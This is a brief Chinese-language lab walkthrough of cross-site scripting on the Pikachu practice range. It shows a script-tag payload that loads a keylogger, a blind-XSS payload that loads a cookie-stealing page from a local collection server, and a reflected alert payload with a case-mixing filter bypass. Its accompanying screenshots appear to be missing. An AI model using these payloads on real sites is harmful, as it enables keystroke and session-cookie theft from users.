XSS漏洞（获取键盘记录，XSS盲打，XSS防御过滤）

1.XSS获取键盘记录

依然使用pikachu靶场进行

嵌入js标签<script src="http://localhost/pikaqiu.cn/pkxss/rkeypress/rk.js"></script>

 

随意输入字符

 

查看后台发现已经记录完成

 

2. XSS盲打

注入代码<script src="http://127.0.0.1/pikachu/pikachu/pkxss/xcookie/post.html"></script>

 

我们进入后台查看

 

 

3.XSS防御过滤

 

 

注入代码

http://127.0.0.1/pikachu-master/vul/xss/xss_01.php?message=<script>alert(1)</script>&submit=submit

这里我们采用大小写混合注入

成功弹窗